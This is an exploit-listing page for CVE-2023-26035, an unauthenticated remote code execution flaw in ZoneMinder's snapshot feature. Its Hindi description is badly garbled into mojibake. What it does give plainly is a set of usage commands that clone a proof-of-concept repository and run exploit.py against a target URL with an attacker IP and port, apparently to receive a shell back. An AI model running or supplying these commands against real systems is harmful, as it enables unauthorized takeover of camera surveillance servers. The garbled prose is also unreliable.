## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RVZSEC-CVE-2023-26035
# CVE-2023-26035
ZoneMinder рд╕реНрдиреИрдкрд╢реЙрдЯреНрд╕ рдореЗрдВ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ RCE - PoC рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ
alt img
### рд╡рд┐рд╡рд░рдг
ZoneMinder рдХреЗ 1.36.33 рдФрд░ 1.37.33 рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг, рд╕реНрдиреИрдкрд╢реЙрдЯ рдПрдХреНрд╢рди рдореЗрдВ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ рдЬрд╛рдБрдЪ рдХреА рдХрдореА рдХреЗ рдХрд╛рд░рдг рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (Unauthenticated Remote Code Execution) рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред
### рдЙрдкрдпреЛрдЧ
root@kitploit:~
git clone https://github.com/rvizx/CVE-2023-26035
cd CVE-2023-26035
python3 exploit.py
root@kitploit:~
python3 exploit.py -t <target_url> -ip <attacker-ip> -p <port>
#### рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ
root@kitploit:~
pip3 install beautifulsoup4
### рд╢реНрд░реЗрдп
UnblvR рдиреЗ рдЗрд╕ рдХрдордЬрд╝реЛрд░реА рдХреА рдЦреЛрдЬ рдХреАред